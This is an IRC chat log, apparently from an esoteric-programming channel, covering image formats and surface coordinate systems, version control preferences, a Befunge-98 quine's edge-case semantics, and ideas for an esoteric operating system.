10:30:43 <Nistur> the reason for the jump is that I am being stingy and don't want to pay for art on a project which may not see the light of day... and I cannot art. Even my programmer art is terrible. So my _plan_ is to write an IF engine, and implement at least part of my story and puzzles in that... then start adding features so I could use the same game data to run both IF and point and click adventure games
10:30:55 <Nistur> (the IF obviously not using all the data...)
10:31:07 <Nistur> ... I like writing my own wheels
10:31:10 <Nistur> ahh pants, meeting
10:51:43 * rdococ accidentally rebuilt a wheel using only cushions
10:51:50 <rdococ> metaphorically of course
10:52:37 <oerjan> sounds like a soft ride
10:57:08 -!- LKoen has joined.
10:58:11 <rdococ> tsh
10:58:25 <rdococ> maybe I should use a platform other than javascript for my experiments into image scaling
10:58:30 <rdococ> any suggestions?
10:58:37 <zzo38> Possibly C
10:58:46 <rdococ> ...no.
10:59:02 <rdococ> Javascript is kinda dumb anyway.
10:59:24 <zzo38> There are a lot of other choices
11:00:03 <Nistur> piet
11:00:39 <Nistur> I would probably write it in C... but I guess python would be a 'standard' response
11:00:45 <Nistur> go is picking up popularity
11:01:24 <Nistur> alternatively, write it in verilog
11:06:06 <rdococ> ...
11:07:21 <oerjan> sounds a bit circuitous.
11:07:40 <rdococ> I'll try MATLAB.
11:07:52 <rdococ> (if it's free)
11:07:59 <rdococ> it's not, is it?
11:08:13 <rdococ> yep. isn't.
11:08:19 <oerjan> OCTAVE is the free variant, i hear
11:09:09 <rdococ> k
11:10:06 <oerjan> no, k is an apl derivative hth
11:12:26 <rdococ> heh
11:16:16 <rdococ> aw crap
11:16:35 -!- oerjan has quit (Quit: leaving).
11:32:42 -!- boily has joined.
11:34:09 <rdococ> Hoily.
11:40:15 <boily> rdochelloc!
11:42:06 <rdococ> OOh.
11:42:17 <boily> ooh?
11:42:32 <rdococ> SMITH is an assembly-like language that modifies itself. It might go together well with the Khartridge.
11:52:00 <rdococ> I was thinking about designing an esolang with first-class continuations.
12:06:57 <boily> wisdom
12:06:59 <HackEgo> esrb//ESRB = Eric Steven Raymond's beard
12:07:22 <boily> le/rn esrb//Eric Steven Raymond's Beard
12:07:24 <HackEgo> Relearned 'esrb': Eric Steven Raymond's Beard
12:07:56 <boily> wisdom
12:07:57 <HackEgo> second wisdom//The second wisdom is that wisdom can never be complete or consistent.
12:16:02 -!- AnotherTest has joined.
12:17:15 <rdococ> wisdom
12:17:16 <HackEgo> chthonic//Chthonic lithping can be vethy dithturbing to lithten to.
12:30:33 -!- boily has quit (Quit: TAG CHICKEN).
12:32:12 <int-e> wait, "vethy"?
12:33:03 <rdococ> lol
12:33:07 <rdococ> it should be "vewy"
13:01:04 -!- AnotherTest has quit (Ping timeout: 255 seconds).
13:12:34 -!- bender has quit (Quit: [En route to Delhi]).
13:14:07 <rdococ> Well, I've somehow ended up designing my own map projection.
14:04:25 -!- S1 has joined.
14:14:37 -!- contrapumpkin has quit (Ping timeout: 240 seconds).
14:22:01 -!- contrapumpkin has joined.
14:26:04 -!- AnotherTest has joined.
14:43:40 -!- Akaibu has joined.
14:52:57 -!- ^_^v has joined.
15:12:19 -!- Phantom_Hoover has joined.
15:12:19 -!- Phantom_Hoover has quit (Changing host).
15:12:19 -!- Phantom_Hoover has joined.
15:15:26 -!- Phantom_Hoover has quit (Client Quit).
15:30:09 -!- xkapastel has joined.
15:31:30 -!- S1 has quit (Ping timeout: 240 seconds).
15:53:29 <rdococ> https://xkcd.com/329/
15:54:35 -!- S1 has joined.
15:54:50 -!- gsora has quit (Ping timeout: 240 seconds).
15:55:01 -!- S1 has left.
15:58:21 <rdococ> . o O ( an esoteric image format )
15:59:00 <FireFly> Hm
15:59:33 <FireFly> somewhat tangental, I did come up with a bitmap font format where the font is stored as an image
15:59:40 <FireFly> mostly because it was easiest to edit for me
16:00:03 <FireFly> one that supports variable glyph width
16:05:00 <rdococ> what about modifier characters?
16:07:49 -!- Hoolootwo has joined.
16:09:07 <rdococ> I'd think about Fourier transformations but I think JPEG has that already
16:13:05 <rdococ> We're not restricted to compressing raster images. We could compress a vector image, for example.
16:35:34 <rdococ> hm.
16:46:48 -!- AnotherTest has quit (Ping timeout: 268 seconds).
17:06:27 -!- AnotherTest has joined.
17:09:10 <rdococ> hi AnotherTest
17:16:40 -!- FreeFull has joined.
17:27:07 <\oren\> rdococ: the image format my prototype font editor uses might qualify
17:27:35 <\oren\> It stores an image as an array of integers, one for each scanline
17:27:57 <\oren\> so it supports a maximum width of 32 pixels
17:28:08 <rdococ> k
17:28:16 <\oren\> and only white and black
17:28:34 <\oren\> but there isn't any limit to the image's height
17:28:41 <rdococ> it's in clear black and white
17:28:54 <rdococ> but what about modifier characters?
17:29:07 <\oren\> they get overlain
17:29:33 <\oren\> actually is that the right grammer? overlain? overlayed?
17:29:38 <rdococ> how do modifier characters work in your prototype font editor?
17:30:42 <\oren\> the same as regualr ones
17:31:16 <\oren\> right now the editor sdoesn't have an actual interface yet
17:31:28 <\oren\> it's more of an API
17:31:46 <\oren\> once I finish it I'll put it on my website
17:34:23 -!- sleffy has joined.
17:35:01 <rdococ> hm
17:35:17 <rdococ> has anyone tried combining bicubic interpolation with nearest neighbor interpolation?
17:36:25 <rdococ> take an image, calculate bicubic interpolation but each pixel takes on the color of its largest influence
17:40:36 -!- ^_^v has quit (Quit: This computer has gone to sleep).
17:44:00 -!- ^_^v has joined.
17:45:04 <rdococ> hm.
17:45:47 <rdococ> Polygonal vector graphics, maybe, where only flat-sided polygons can be created
17:50:47 <rdococ> Or, a spherical image format where each normalized 3D vector maps to a color.
17:56:53 -!- hppavilion[1] has joined.
18:02:34 -!- hppavilion[1] has quit (Ping timeout: 255 seconds).
18:03:22 -!- hppavilion[1] has joined.
18:06:49 <rdococ> Hi hppavilion[1].
18:07:03 <rdococ> I'm working on a specification for a spherical image format, but haven't gone very far yet.
18:07:07 <hppavilion[1]> gree'tz
18:07:13 <hppavilion[1]> rdococ: Oooooooooh
18:07:31 <hppavilion[1]> rdococ: Why spherical and not general 2-manifolds?
18:07:49 <rdococ> I was thinking about extending it to any 3D topology.
18:07:58 <hppavilion[1]> rdococ: 3d topology?
18:08:12 <hppavilion[1]> rdococ: As in, you want voxelly images?
18:08:29 <rdococ> Oh. In that case, I mean 2D.
18:08:35 <hppavilion[1]> (Definition: a goxel is any generalized voxel in arbitrarily-many dimensions)
18:08:43 <hppavilion[1]> rdococ: I'm unsure which of us is right :P.
18:08:52 <hppavilion[1]> But I *think* I am (of course)
18:09:01 <rdococ> I was speaking about what most people call 3D shapes.
18:09:23 <hppavilion[1]> rdococ: Yeah, it'd usually be in 3-space, but it'd be a 2-manifold unless it had dimensions to it.
18:09:23 -!- Phantom_Hoover has joined.
18:09:23 -!- Phantom_Hoover has quit (Changing host).
18:09:23 -!- Phantom_Hoover has joined.
18:09:38 <hppavilion[1]> rdococ: Also a good idea: Animated vector graphics (VIF)
18:09:39 <rdococ> Of course, we could expand it to any dimension.
18:10:13 <rdococ> This reminds me of an idea I had for interpolating low FPS video.
18:12:11 <hppavilion[1]> Do vector images actually form a vector space??
18:13:51 <hppavilion[1]> I'm not sure how they could, but I'm not ruling it out
18:14:54 <rdococ> hm.
18:15:02 <rdococ> What else should a spherical image format include?
18:17:20 <rdococ> Additionally, what would a 2-manifold with a quaternion coordinate system look like?
18:17:52 <rdococ> Ah, wait, that's obvious (I think) - a 3-sphere.
18:19:03 -!- S1 has joined.
18:19:03 -!- S1 has changed nick to Herbstkind.
18:19:28 -!- Herbstkind has left.
18:24:26 <rdococ> I'll probably also pick or create an equally spherical color model (one based on the 3-sphere, or quaternion coordinates, maybe).
18:28:12 <hppavilion[1]> rdococ: Technically, I don't think manifolds *have* fixed coordinates?
18:29:14 <rdococ> hppavilion[1]: I still imagine you would be able to create coordinate systems for them.
18:29:35 <rdococ> I'm thinking about two-holed toruses right now.
18:31:00 <hppavilion[1]> rdococ: I wonder if there are color spaces that cover larger EM intervals
18:31:55 <rdococ> Well, you could think of the RGB color model as normalized coordinates on a sphere plus a luminance value.
18:32:21 <rdococ> Hm...
18:32:54 <rdococ> HSL coordinates might be representable using quaternions.
18:33:05 <rdococ> Or would they?
18:33:10 <rdococ> Yeah, they probably would.
18:36:17 <hppavilion[1]> rdococ: Octarine, of course, has the RGB code ~rgb(0, 0.866+0.5i, 0.866+0.5i)
18:36:42 <hppavilion[1]> (or is it ~rgb(0, 0.866+0.5i, 0.5+0.866i) ?)
18:37:32 <rdococ> Ooh, imaginary colors.
18:37:40 <zzo38> I don't know what one
18:37:41 <rdococ> Or, in this case, complex colors. :P
18:38:25 <rdococ> One more thought: is there a fractional dimension with exactly 2 planes of rotation?
18:38:46 <zzo38> I don't know that either
18:40:14 <rdococ> Hm.
18:43:29 <rdococ> Interestingly, dimension n has the nth triangle number of planes of rotation.
18:47:19 <rdococ> Found the dimension for 2 planes of rotation.
18:47:20 <rdococ> n = sqrt(17)/2 - 1/2
18:53:16 <rdococ> Still not sure about how to approach coordinate systems for genus-n surfaces, though.
18:56:32 <\oren\> well, a coordinates sytem is the same as a diffeomorphism to/from R^n
18:57:59 <\oren\> there are manifolds that can't be mapped smoothly with one chart
18:58:11 <\oren\> for example, a sphere
18:58:53 <rdococ> A good coordinate system for a sphere's surface would be normalized 3D coordinates.
18:58:58 <rdococ> That's what my SIF file format uses.
18:59:06 <\oren\> But actually, a torus can be mapped smoothly, which is why the world is a torus in a lot of games
18:59:23 <rdococ> A torus' surface can easily be mapped with 2D coordinates.
18:59:31 <\oren\> rdococ: right, you can use three coordinates to get a smooth map
18:59:35 <\oren\> but not too
18:59:37 <\oren\> two
18:59:52 <rdococ> I'm still trying to figure out what the best coordinate system for a genus-two surface would be.
19:01:03 <rdococ> You could interpret the two coordinates commonly used for toruses and convert them to normalized 3D coordinates - it would be the opposite of converting normalized quaternions into 3 dimensional vectors for better storage.
19:02:15 <rdococ> So the origin would be (0, 0, 1), the opposite point to the origin (which would be 180 degrees horizontally from it) would be (1, 0, 0), while the opposite point 180 degrees vertically would be (0, 1, 0).
19:03:36 <rdococ> If both a sphere and a torus can be mapped smoothly through a normalized 3D coordinate system, can a genus-2 surface be too?
19:17:53 <rdococ> Of course, there is a difference between the two coordinate systems. In a sphere, (0, 0, 1)'s antipodal point is (0, 0, -1). But on a torus, (0, 0, 1)'s inverse point would be (1, 0, 0).
19:18:25 <rdococ> Which reminds me of the difference between complex numbers and quaternions.
19:48:46 -!- hppavilion[1] has quit (Remote host closed the connection).
19:49:07 -!- hppavilion[1] has joined.
19:50:32 <rdococ> Now I'm working on a normalized 3D coordinate system for a torus.
19:51:14 <rdococ> x = a + bi + cj, where i^2 = j^2 = -1 = 1, jii = iji = iij = j, and ijj = jij = jji = i.
20:17:06 <int-e> GRRRRRRRRRRRRRRRRRRRRRRRR hg's "resolve" subcommand *always* trips me up
20:17:29 <int-e> why isn't there a separate command for resolve --mark
20:18:11 -!- hppavilion[1] has quit (Ping timeout: 245 seconds).
20:18:58 -!- hppavilion[1] has joined.
20:19:07 <shachaf> hg sounds complicated.
20:20:03 <int-e> Yes. I prefer git. I'm much more familiar with git's pitfalls than with mercurial's.
20:21:03 <shachaf> I feel like I ought to prefer hg because it's probably better.
20:21:03 <int-e> (There, that should allow me to stay out of the ensuing flame war. Just give me a moment while I fetch popcorn.)
20:21:07 <shachaf> But in practice I prefer git.
20:30:16 <zzo38> I prefer fossil.
20:31:51 <shachaf> Is fossil good for large repositories?
20:32:49 <zzo38> I believe it works even for large repositories. But, how large do you expect anyways?
20:33:11 <int-e> shachaf is a big fan of all-in-one-repository code management
20:33:36 <shachaf> zzo38: 86TB?
20:33:49 <int-e> "One Big Repository"
20:34:07 <int-e> I find it outlandish.
20:34:15 <shachaf> int-e: Yes, the more certain people argue for alternatives, the more I see the light.
20:34:22 -!- ^_^v has quit (Read error: Connection reset by peer).
20:34:27 <shachaf> It's so much better than having lots of small repositories, if you can get away with it.
20:34:29 -!- sleffy has quit (Ping timeout: 240 seconds).
20:35:08 <zzo38> The limit is the limit of SQLite, which is 140 terabytes.
20:35:20 -!- ^_^v has joined.
20:35:43 -!- sleffy has joined.
20:35:49 <zzo38> (Assuming that the file system you are using supports files that large, and you have enough disk space.)
20:36:10 <shachaf> int-e: Why do you find it outlandish?
20:36:25 <shachaf> zzo38: Well, it should have good support for actually using the repository.
20:36:26 <int-e> shachaf: Because I'm not working at a big company with many connected software projects.
20:36:33 <shachaf> Oh, sure, then you shouldn't use it.
20:37:26 <int-e> shachaf: I think "outlandish" is the perfect adjective to describe this feeling.
20:37:53 <shachaf> Ah, I think I misinterpreted the word "outlandish" until now.
20:38:01 <shachaf> Yes, it's outlandish.
20:38:07 <zzo38> I find it is easily usable; the commands used commonly are easily enough, the installation is very simple, and there is even the server and UI included (both optional features) if you need them. (You do however need a web browser to use the UI, although you can do everything from the command-line too.)
20:38:31 <shachaf> zzo38: For example it should have support for not cloning the entire repository, but only the parts you actually need.
20:39:12 <shachaf> int-e: maybe you should go work at Google for a bit hth
20:39:18 <olsner> I don't like the one big repo idea, I prefer one small repo
20:39:31 <shachaf> olsner: Obviously that's the best option.
20:39:35 <zzo38> It doesn't seem to do that (although I have wanted that kind of stuff too), although the repository is a single file.
20:40:44 <olsner> maybe I should work for google to see if it's anything like I imagine (I have seen some of the google bizarro-world leaking through the chromium project though)
20:41:15 <zzo38> The "fossil clone" command clones a repository, from a local file, a HTTP or HTTPS server, or a SSH server.
20:42:28 <zzo38> (Note that I have never used this command, though.)
20:47:37 <int-e> shachaf: I guess https://git.gnome.org/browse/ could also be one big repo, in principle.
20:48:04 <int-e> maybe
20:49:03 <shachaf> Many of the benefits of this model have to do with other things they do, like not version libraries.
20:51:53 -!- LKoen has quit (Remote host closed the connection).
20:55:29 <shachaf> ing
21:08:36 -!- DHeadshot has quit (Ping timeout: 245 seconds).
21:16:29 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
21:16:37 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
21:43:42 -!- LKoen has joined.
22:11:56 -!- augur has joined.
22:22:31 -!- ybden has quit (Quit: ybden).
22:23:37 -!- ybden has joined.
22:28:59 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:31:42 -!- MoALTz has quit (Quit: Leaving).
22:56:19 -!- Phantom_Hoover has joined.
22:56:19 -!- Phantom_Hoover has quit (Changing host).
22:56:19 -!- Phantom_Hoover has joined.
23:04:02 -!- xkapastel has quit (Quit: Connection closed for inactivity).
23:07:10 -!- ^_^v has quit (Quit: This computer has gone to sleep).
23:11:50 -!- boily has joined.
23:12:54 <boily> wisdom
23:12:56 <HackEgo> terminal symbol//A terminal symbol is a terminal condition that makes your parser die eventually. Consult your linguist for medical advice.
23:14:06 <shachaf> all signs point to yes^H^H^Hthe terminal symbol
23:17:29 <boily> helloochaf. nihilist 8ball.
23:41:29 -!- sleffy has quit (Ping timeout: 240 seconds).
23:46:44 -!- boily has quit (Quit: AROMA CHICKEN).
23:56:59 -!- DHeadshot has quit (Ping timeout: 240 seconds).
23:59:18 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).

2017-04-25:

00:05:38 -!- contrapumpkin has joined.
00:19:20 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
00:22:47 -!- Lord_of_Life has quit (Ping timeout: 258 seconds).
00:28:30 <alercah> ? dr hexham
00:28:31 <HackEgo> dr hexham? ¯\(°​_o)/¯
00:31:53 -!- Lord_of_Life has joined.
01:10:48 -!- Akaibu has quit (Quit: Connection closed for inactivity).
01:38:18 -!- sirnaysayer has changed nick to t3ry4k1b33f.
02:00:28 -!- Lord_of_Life has quit (Ping timeout: 255 seconds).
02:33:07 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:42:46 -!- Lord_of_Life has joined.
02:48:36 -!- hppavilion[1] has joined.
03:18:41 -!- sleffy has joined.
04:20:10 -!- sleffy has quit (Ping timeout: 260 seconds).
04:21:49 -!- sleffy has joined.
04:33:10 -!- Lord_of_Life has quit (Ping timeout: 252 seconds).
04:34:03 -!- ais523 has joined.
04:35:14 <zzo38> Where do I find some good JPEG library like LodePNG is for PNG, but one that is for work with JPEG instead?
04:35:18 <ais523> I just improved the record for the shortest non-cheating Befunge-98 quine by 2 or 3 bytes (depending on how exactly you define cheating):  'k<@,k␇ (explanation: https://codegolf.stackexchange.com/a/117555/62131)
04:35:50 <ais523> (that last character is a literal ctrl-G)
04:35:53 <zzo38> (Or, if someone else know to wrote one.)
04:36:19 <ais523> however, it depends a lot on some bizarre edge-case behaviour of the k command, and I'm not quite sure if it's correct/undef/broken (Vorpal? Deewiant?)
04:38:11 -!- Lord_of_Life has joined.
04:49:45 <alercah> ais523: my interpretation of k' is "pop the stack, push the next n characters and skip them"
04:50:09 <ais523> what does it do if it wraps around the edge of the program, though?
04:50:16 <ais523> cfunge appears to see one space when that happens
04:50:34 -!- sleffy has quit (Ping timeout: 255 seconds).
04:50:57 <ais523> at least if there are no actual spaces in the path, or if there's one space at an end of the program (as seen here)
04:51:17 <ais523> FBBI does something else but I'm not entirely sure what (it's hard to test as failed tests tend to cause infinite loops that leak memory)
04:51:29 <alercah> ais523: it should use funge-98 wrapping
04:51:46 <ais523> I know, but I'm not sure that's fully defined wrt the edge of the program
04:51:53 <ais523> in string literals it doesn't matter because consecutive spaces are merged
04:52:06 -!- sleffy has joined.
04:52:13 <ais523> but with ' and # and friends the details do matter; IIRC Mycology has a test for this, but it's UNDEF because it's ill-defined
04:52:35 <alercah> my reading is that it's *specifically* when the IP enters the whitespace
04:53:05 <ais523> I agree on your general description of what k' does, though (although it pushes the apostrophe first, that's just typical k weirdness that's predictable when you know about the other cases of k weirdness)
04:53:47 <alercah> ais523: yes, right, the apostrophe does get pushed
04:54:03 <alercah> I think what happens with ' is that a space gets pushed, then the IP goes off the edge, so it wraps around to the other end
04:54:09 <alercah> in this fashion it will actually skip the character at the other end
04:54:48 <alercah> so I think your quine doesn't work per spec
04:57:52 <ais523> I'm not sure what you mean by that, but I'd be surprised if any non-whitespace characters in the program didn't get pushed
04:58:05 <ais523> it works in cfunge, anyway, so if it's non-spec-compliant, cfunge will probably have to be changed
04:58:29 <alercah> ' is defined as follows:
04:58:39 <alercah> - load the character at (position + delta) onto the stack
04:58:47 <alercah> - position = position + delta
04:59:27 <alercah> the wrapping behaviour says
04:59:55 <alercah> "When the IP attempts to travel into the whitespace between the code and the end of known, addressable space... it finds the other 'edge' of code when there is again nothing but whitespace in front of it. It is reflected 180 degrees once more"
05:00:08 <alercah> so it travels to the ^G at the end, but then stops and is reflected
05:00:17 <alercah> it resumes execution of the next ', causing it to push k and skip past it
05:00:21 <alercah> it never pushes ^G
05:00:54 <alercah> you could probably avoid this by extending the program slightly?
05:06:39 <ais523> moving the leading space to the end of the program would possibly be enough under the rules you describe
05:07:43 <ais523> as far as I can see, your argument is that the IP must always be within the non-whitespace-bounded version of the playfield
05:08:02 <ais523> thus the ' command can only see spaces in front of the non-whitespace-bounded version of the playfield (and thus can never see the first character on a line)?
05:08:53 <ais523> I'm not sure that was the intention, but it's a plausible argument
05:10:16 <alercah> yeah, that's my reading of it
05:11:02 <alercah> I think that the correct behaviour would actually be to regard the wrapping as applying to any form of offset, however, so then ' would always wrap
05:11:24 <alercah> meaning the leading space would not be needed except possibly for alignment
05:11:28 <ais523> which means that the program would then not need the space at all
05:11:49 <ais523> although then it'd cease to be a quine under PPCG's proper quine rules (which IMO are buggy and lead to a lot of unintended effects)
05:16:22 <alercah> oh?
05:19:32 <ais523> PPCG requires at least one character in the output to have its value derived from something other than the corresponding character in the input
05:19:44 <ais523> to avoid trivial solutions like 1234 (which works in a lot of languages)
05:27:06 <alercah> ahh
05:27:26 <alercah> how is that true with your current version?
05:28:00 <ais523> the space at the start is generated by cfunge implicitly while wrapping
05:28:03 <ais523> rather than quoting itself
05:36:32 <alercah> ah right
05:37:28 <alercah> I wonder if you could exploit my version of the behaviour to let you get around it
05:39:25 <alercah> oh yeah you could
05:39:45 <alercah> notwithstanding alignment issues that might result from the length changing
05:59:31 -!- sleffy has quit (Ping timeout: 252 seconds).
06:07:30 <ais523> another possibility would be to write the program as a palindrome and read the string in the other direction
06:07:40 <ais523> but I think that'd be considerably longer even if you could reuse the ks
06:14:19 -!- ais523 has quit (Ping timeout: 260 seconds).
06:17:17 <Deewiant> @tell ais523 I'm pretty sure I disagree with what cfunge does here, in a 32-bit Funge-Space there are some 2^31 - 7 spaces that that k' sequence would have to push before reaching the ^G on the other side. I.e. I don't think ' should wrap around while it's executing, whether that's via k or not.
06:17:17 <lambdabot> Consider it noted.
06:22:29 -!- oerjan has joined.
06:41:31 -!- dingbat has joined.
06:54:12 -!- FreeFull has quit.
07:04:49 <rdococ> hi.
07:24:17 <rdococ> I don't think many surfaces in video games are genus-two surfaces.
07:24:39 <rdococ> I still want to find a good coordinate system for them nevertheless.
07:41:22 <oerjan> "The Bolza surface is the most symmetric Riemann surface of genus 2." sounds promising.
07:42:05 <oerjan> also brain-wrecking.
08:03:06 <rdococ> I was also working on a three-dimensional space for a torus.
08:03:12 <rdococ> as in, a + bi + cj.
08:11:55 -!- MoALTz has joined.
08:12:17 <rdococ> MoALTz!
08:15:16 -!- AnotherTest has joined.
08:19:06 -!- augur has quit (Remote host closed the connection).
08:22:14 <oerjan> ? esbr
08:22:27 <HackEgo> esbr? ¯\(°​_o)/¯
08:22:36 <oerjan> ? esrb
08:22:38 <HackEgo> Eric Steven Raymond's Beard
08:23:02 <oerjan> learn ESRB is short for Eric Steven Raymond's Beard.
08:23:06 <HackEgo> Relearned 'esrb': ESRB is short for Eric Steven Raymond's Beard.
08:25:12 <oerjan> <rdococ> Well, I've somehow ended up designing my own map projection. <-- now you just need to get User:Strebe to feature it on wikipedia
08:26:00 <oerjan> (ok, there are a few intermediate steps, like that notability thing.)
08:40:43 -!- deltab_ has joined.
08:40:59 -!- heroux_ has joined.
08:41:36 -!- heroux has quit (Write error: Broken pipe).
08:41:36 -!- deltab has quit (Write error: Broken pipe).
08:41:38 -!- puckipedia has quit (Excess Flood).
08:41:44 -!- heroux_ has changed nick to heroux.
08:41:50 -!- puckipedia has joined.
08:56:42 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
09:07:46 -!- LKoen has joined.
09:43:56 <Taneb> Morning
09:44:47 <Nistur> o7
09:56:01 -!- Jafet has quit (Ping timeout: 268 seconds).
09:59:27 -!- Jafet has joined.
10:43:14 -!- oerjan has quit (Quit: Later).
10:56:11 -!- augur has joined.
11:00:34 -!- augur has quit (Ping timeout: 260 seconds).
11:04:02 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...).
11:16:50 -!- augur has joined.
11:24:19 -!- augur has quit (Ping timeout: 255 seconds).
11:34:21 -!- boily has joined.
12:16:37 -!- olsner has quit (Ping timeout: 240 seconds).
12:24:09 -!- Phantom_Hoover has joined.
12:24:09 -!- Phantom_Hoover has quit (Changing host).
12:24:09 -!- Phantom_Hoover has joined.
12:26:36 -!- boily has quit (Quit: DOCUMENT CHICKEN).
12:49:49 -!- AnotherTest has quit (Ping timeout: 255 seconds).
12:56:18 -!- Jafet has quit (Ping timeout: 260 seconds).
12:57:19 -!- olsner has joined.
13:01:51 -!- olsner has quit (Ping timeout: 260 seconds).
13:06:51 -!- olsner has joined.
13:11:46 -!- olsner has quit (Ping timeout: 260 seconds).
13:12:18 -!- AnotherTest has joined.
13:13:43 -!- Jafet has joined.
13:26:47 -!- orby has joined.
13:27:05 <orby> greetings!
13:32:03 -!- gsora has joined.
13:33:18 * orby waves.
13:40:37 -!- ais523 has joined.
13:44:59 <orby> ais523: mornin'
13:45:07 <ais523> afternoon
13:45:41 <orby> Do you know if anyone is still interested in working on an esoteric OS?
13:45:52 <orby> I saw the page on it and it struck me as a fun idea
13:46:03 -!- gsora_ has joined.
13:47:52 -!- gsora has quit (Ping timeout: 255 seconds).
13:49:10 <ais523> it's one of those things that keeps stalling out because nobody wants to figure out the details
13:49:20 <ais523> it'd probably work better as a solo project than a group project
13:51:25 <orby> I've got some experience writing bootloaders and simple kernels. Do you know if there are any esoteric languages on the wiki that would be suitable for low level system programming?
13:52:04 <orby> I think an esoteric OS should be written in an esoteric language :)
13:52:43 <ais523> most esolangs are defined independently of the hardware they're on, i.e. they're "portable"
13:52:50 <ais523> that's not really what you want to write an OS
13:52:58 <orby> yeah, exactly
13:53:11 <ais523> I guess you could write a Funge-98 fingerprint that gave access to low-level system operations
13:53:45 <orby> I'll have to read up on funge
13:55:21 <orby> it'd probably be easiest to use an existing bootloader like grub and just compile some existing language to an elf binary
14:09:39 -!- olsner has joined.
14:14:11 -!- olsner has quit (Ping timeout: 260 seconds).
14:21:57 -!- olsner has joined.
14:22:42 <ais523> you could use efi as the bootloader
14:23:03 <ais523> most systems have it nowadays, and it runs what are basically .exe files (although with a very different "standard library" from the typical .exe file)
14:23:28 <ais523> although it's a pretty powerful standard library, containing things like filesystem access code and GUI primitives
14:24:03 <ais523> this is the bootloader that windows 8+ uses as standard, and is also normally used to chain-load GRUB on Linux (Linux can use it directly too, but that's a less common setup)
14:25:51 <orby> That's an interesting idea. I've looked at uefi for other projects in the past. The functions that uefi makes available make it seem like you could write an entire OS that just makes uefi calls, but I remember running into issues with that idea
14:26:00 <orby> though unfortunately I can't remember exactly what those issues are
14:26:37 <orby> there is a uefi call you make to go into "os mode", which basically tells uefi that you're going to be taking full control of the hardware
14:26:58 <orby> previous to that, you're not supposed to be mucking around with any ram that hasn't been specifically allocated by the uefi calls, etc.
14:27:24 <orby> maybe it would be suitable in this case, i'd have to read up on it again
14:27:28 <b_jonas> I think there's already at least one esoteric OS: that tiny one written in C for one of the IOCCCs.
14:27:51 <orby> b_jonas: do you have a link?
14:30:01 <orby> ah, found it http://www.ioccc.org/2004/gavin.hint
14:30:10 <b_jonas> orby: http://www.ioccc.org/years-spoiler.html#2004_gavin
14:30:12 <b_jonas> that, yes
14:30:18 <b_jonas> you were faster
14:30:18 <orby> cool, thanks :)
14:34:28 <orby> multiboot is a much simpler standard that uefi and is well supported by grub, I think that might be an easier starting point. maybe a kernel written in an esoteric subset of x86 :)
14:35:10 <orby> sub than that
14:36:11 <b_jonas> orby: that one is from 2004. they didn't have multiboot back then. at least not well-supported.
14:36:18 <b_jonas> or did they?
14:37:07 <orby> *shrugs* I do not know. multiboot has been around for a while but has gone through some major changes
14:41:56 <orby> maybe a good starting project would be a self-hosting esoteric x86 assembler. supporting a sub opcode and jne should be sufficient in theory.
14:43:01 <orby> a couple others for low level os stuff, lgdt, etc.
14:45:05 <ais523> writing an esolang compiler to target EFI (or an esolang interpreter that runs on EFI) seems like an arguably productive goal even if we don't use it for a bootloader
14:50:29 -!- ^_^v has joined.
14:54:08 -!- ^_^v has quit (Client Quit).
14:57:01 <Phantom_Hoover> i've never seen a concept for an esoteric OS that really grabbed me
14:57:15 <Phantom_Hoover> most of them were just "run an esolang straight off the bootloader"
14:57:59 -!- ^_^v has joined.
14:58:17 <Phantom_Hoover> i mean the point of an OS is to build up abstractions over hardware and most esolangs eschew abstraction
15:16:55 -!- LKoen has quit (Remote host closed the connection).
15:51:15 -!- LKoen has joined.
16:17:15 <rdococ> Phantom_Hoover: how about hardware that natively runs Haskell, and then the OS builds up anti-abstractions?
16:17:47 <Phantom_Hoover> lol
16:17:56 <Phantom_Hoover> anti-abstraction's pretty easy right, it's just simulation?
16:18:07 <rdococ> ye
16:18:38 <rdococ> programs written in an assembly language running on a Haskell emulator, which itself is running on hardware
16:19:06 <rdococ> or we could nest it: programs written in an assembly language running on a C++ emulator running on a Haskell emulator
16:25:07 -!- hppavilion[1] has joined.
16:26:02 <rdococ> hi hppavilion[1]
16:26:21 <hppavilion[1]> Hi rdococ
16:27:02 <hppavilion[1]> rdococ: I find myself making a more accurate translation of the old German national anthem with all the propoganda stripped
16:27:33 <hppavilion[1]> (as in, all the Allied propaganda inserted into the translation. Not the propaganda in the original lyrics, those get preserved)
16:28:10 <rdococ> hppavilion[1]: make versions of the ads you see on tv, but make them brutally honest
16:28:44 <hppavilion[1]> rdococ: Germany, Germany it's my favorite / it's my personal favorite in the world!
16:30:33 <orby> ais523: an esolang interpreter that runs on efi sounds like a great idea and could be an integral part of an esoteric os
16:30:59 <rdococ> hppavilion[1]: imagine hardware that natively runs something like Haskell
16:31:08 <hppavilion[1]> rdococ: No.
16:32:00 <rdococ> okay, what about Prolog
16:37:32 -!- sleffy has joined.
16:39:55 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
16:57:55 -!- sleffy has quit (Ping timeout: 240 seconds).
17:02:36 -!- sleffy has joined.
17:09:51 -!- sleffy has quit (Ping timeout: 245 seconds).
17:12:24 -!- sleffy has joined.
17:12:50 -!- betaveros has quit (Remote host closed the connection).
17:21:45 -!- betaveros has joined.
17:30:52 <rdococ> hi
17:31:20 <APic> Hi
17:31:50 <rdococ> ih
17:32:28 <rdococ> hm.
17:32:49 <rdococ> Imagine an assembly language with an additional instruction, DCS, which doubles the clock speed.
17:33:26 <rdococ> Now, if you use an infinite loop to perform the DCS a countably infinite number of times, what is the clock speed - is it countable or uncountable?
17:33:44 <rdococ> I think it's uncountable, but I want to hear other opinions.
17:37:28 <\oren\> ? ps
17:37:35 -!- FreeFull has joined.
17:37:52 <HackEgo> P is the complexity class of Problems. They can be solved by reduction to NP.
17:38:00 <\oren\> argh
17:38:06 <\oren\> ? pss
17:38:08 <HackEgo> pss? ¯\(°​_o)/¯
17:38:37 <\oren\> I recently figured out that in order for ps to actaully print out all the info you have to do
17:40:10 <\oren\> ps -lFj
17:40:30 <\oren\> ps -l isn't enough apparently
17:40:55 <rdococ> hi
17:42:19 <\oren\> rdello
17:42:59 <\oren\> "countable" applies to sets, not numbers
